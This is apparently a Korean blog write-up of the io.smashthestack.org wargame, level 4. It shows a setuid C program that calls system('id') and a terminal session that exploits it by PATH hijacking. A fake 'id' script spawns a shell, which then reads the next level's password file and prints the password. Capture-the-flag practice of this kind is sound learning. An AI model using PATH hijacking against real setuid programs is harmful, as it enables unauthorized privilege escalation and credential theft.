io.smashthestack.org – Level 4

Level 4 문제 소스는 아래와 같다.

[code]#include <stdlib.h>

int main() {

        system("id");

        return 0;
}[/code]

id를 실행시키는 간단한 소스다..
PATH 환경변수를 설정해서 우리가 직접 작성한 id를 실행시키면 쉘을 획득할 수 있을 것이다.

/tmp/by4 폴더에 id를 새로 작성하여 아래와 같이 공격을 시도 하였다.

[code lang-sh]level4@io:/tmp/by4$ env
TERM=linux
SHELL=/bin/bash
SSH_CLIENT=211.218.16.99 23923 22
OLDPWD=/tmp
SSH_TTY=/dev/pts/2
USER=level4
MAIL=/var/mail/level4
PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
PWD=/tmp/by4
SHLVL=1
HOME=/home/level4
LOGNAME=level4
SSHCONNECTION=211.218.16.99 23923 192.168.1.32 22
=/usr/bin/env
level4@io:/tmp/by4$ export PATH=/tmp/by4:/usr/local/bin:/usr/bin:/bin:/usr/games
level4@io:/tmp/by4$ env
TERM=linux
SHELL=/bin/bash
SSH_CLIENT=211.218.16.99 23923 22
OLDPWD=/tmp
SSH_TTY=/dev/pts/2
USER=level4
MAIL=/var/mail/level4
PATH=/tmp/by4:/usr/local/bin:/usr/bin:/bin:/usr/games
PWD=/tmp/by4
SHLVL=1
HOME=/home/level4
LOGNAME=level4
SSHCONNECTION=211.218.16.99 23923 192.168.1.32 22
=/usr/bin/env
level4@io:/tmp/by4$ cat id
#!/usr/bin/python
import os
os.system(‘/bin/sh’)
level4@io:/tmp/by4$ /levels/level04
sh-3.2$ cat /home/level5/.pass
wj9mttkm
sh-3.2$
[/code]

댓글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다